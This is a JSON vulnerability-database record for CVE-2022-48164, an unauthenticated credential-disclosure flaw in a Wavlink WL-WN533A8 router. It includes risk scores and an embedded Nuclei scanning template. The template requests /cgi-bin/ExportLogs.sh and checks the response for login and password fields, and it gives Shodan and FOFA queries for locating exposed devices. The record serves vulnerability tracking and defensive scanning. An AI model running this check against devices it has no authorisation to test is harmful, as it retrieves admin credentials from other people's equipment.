{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2022-48164/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2022-48164/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2022-48164/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2022-48164/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2022-48164/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2022-48164"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2022-48164"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.03096,
      "kev": false,
      "percentile": 0.87182
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2022/CVE-2022-48164.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2022-48164\n\ninfo:\n  name: Wavlink WL-WN533A8 M33A8.V5030.190716 - Information Disclosure\n  author: ritikchaddha\n  severity: high\n  description: |\n    An access control issue in the component /cgi-bin/ExportLogs.sh of Wavlink WL-WN533A8 M33A8.V5030.190716 allows unauthenticated attackers to download configuration data and log files and obtain admin credentials.\n  remediation: |\n    Apply the latest firmware updates from Wavlink or implement network segmentation to restrict access to the device administration interface.\n  impact: |\n    Successful exploitation could lead to sensitive information disclosure.\n  reference:\n    - https://docs.google.com/document/d/1JgqpBYRxyU0WKDSqkvi4Yo0723k7mrIUeuH9i1eEs8U/edit?tab=t.0\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-48164\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2022-48164\n    epss-score: 0.03096\n    epss-percentile: 0.87182\n    cpe: cpe:2.3:o:wavlink:wl-wn533a8_firmware:m33a8.v5030.190716:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: wavlink\n    product: wl-wn533a8_firmware\n    shodan-query: html:\"WN533A8\"\n    fofa-query: body=\"WN533A8\"\n  tags: cve,cve2022,wavlink,exposure,wn533a8,vkev,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"WN533A8\")'\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/cgi-bin/ExportLogs.sh\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"Login=\", \"Password=\", \"WiFi_\", \"WAVLINK\")'\n          - 'contains(content_type, \"application/octet-stream\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4b0a00483046022100a904bd40f77021ecf5c2bafceb1f92d0a1a2071d6db7f5f0b839011695220c18022100e225c995073db0765025c66f51e199c8cfce8a79589bb4d1eb2c893cdd6e25cd:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2022-48164"
}